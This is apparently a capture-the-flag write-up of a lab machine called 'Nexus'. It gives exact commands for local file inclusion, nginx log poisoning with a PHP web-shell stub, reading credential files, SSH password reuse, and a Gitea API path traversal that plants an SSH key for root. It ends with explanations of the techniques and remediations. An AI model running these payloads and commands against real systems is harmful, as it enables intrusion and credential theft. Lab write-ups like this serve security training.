Nexus
Summary
I browsed to the target's single HTTP port and found both a Laravel web application and a Gitea code-hosting service at a virtual hostname. A local file inclusion flaw in the Laravel app let me read server configuration files and recover a plaintext password for the account 'jones'.
That same password worked for SSH, giving a direct interactive login. Once on the host, I abused a path-traversal flaw in Gitea's template-sync API to write my own SSH public key into root's authorized_keys, a second root-access route that exposed a further misconfiguration in how Gitea's service account is confined.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"Attack path — how the box was taken
Exact commands 3
Service fingerprint; confirms OpenSSH 9.6p1 and nginx 1.24.0.
$ nmap -sV -sC -p 22,80 $TARGET -oN nmap_nexus.txtVirtual-host fuzzing against the nginx vhost; surfaces git.nexus.htb.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.nexus.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302 -fw 1Directory and file enumeration on the Laravel application.
$ ffuf -u http://nexus.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302Exact commands 3
Confirm LFI and measure traversal depth; look for the jones home directory entry.
$ curl -s 'http://nexus.htb/?page=../../../../etc/passwd'Read the Laravel environment file; target APP_KEY and any DB or service passwords.
$ curl -s 'http://nexus.htb/?page=../../../../var/www/html/.env'Read Gitea app.ini; may also contain credentials for jones.
$ curl -s 'http://nexus.htb/?page=../../../../opt/gitea/conf/app.ini'FixEliminate the Local File Inclusion vulnerability in the Laravel applicationCritical
Exact commands 3
Write a PHP stub into /var/log/nginx/access.log via the User-Agent header.
$ curl -s 'http://nexus.htb/' -A '<?php system($_GET["cmd"]); ?>'Include the poisoned log through the LFI; stub executes as www-data.
$ curl -s 'http://nexus.htb/?page=../../../../var/log/nginx/access.log&cmd=id'Confirm uid=33(www-data) and hostname nexus.
$ curl -s 'http://nexus.htb/?page=../../../../var/log/nginx/access.log&cmd=id+%26%26+hostname'Exact commands 3
Locate credential-bearing config files readable by www-data.
$ find /var/www /opt /home -name '.env' -o -name 'app.ini' 2>/dev/null | xargs grep -il 'password\|secret\|passwd' 2>/dev/nullRead the Laravel .env; yields jones's password.
$ cat /var/www/html/.envFallback: Gitea config as an alternate credential source.
$ cat /opt/gitea/conf/app.ini 2>/dev/null || cat /home/jones/.config/gitea/app.ini 2>/dev/nullFixRemove plaintext credentials from application configuration filesHigh
Exact commands 1
Authenticate as jones; captures user flag (<user.txt>).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 jones@$TARGET 'id && hostname && cat ~/user.txt'FixEnforce unique passwords per service and disable SSH password authenticationHigh
Exact commands 4
Generate my keypair; /tmp/root_pwn is the private key.
$ ssh-keygen -t ed25519 -f /tmp/root_pwn -N ''Commit my public key via the Gitea API using a traversal path in the URL.
$ B64=$(base64 -w0 /tmp/root_pwn.pub) && curl -s -X POST 'http://git.nexus.htb/api/v1/repos/jones/rce/contents/..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fauthorized_keys' -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' -d "{\"message\":\"add\",\"content\":\"$B64\"}"Verify the traversal path appears in the repo tree.
$ curl -s 'http://git.nexus.htb/api/v1/repos/jones/rce/git/trees/HEAD?recursive=true' -H "Authorization: token $TOKEN"Wait for the sync to run, then log in on the planted key and read the flag -> <root.txt>
$ sleep 75 && ssh -i /tmp/root_pwn -o StrictHostKeyChecking=no -o BatchMode=yes root@$TARGET 'id && cat /root/root.txt'
uid=0(root)FixPatch Gitea's template-sync path traversal and confine the Gitea service accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.24.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.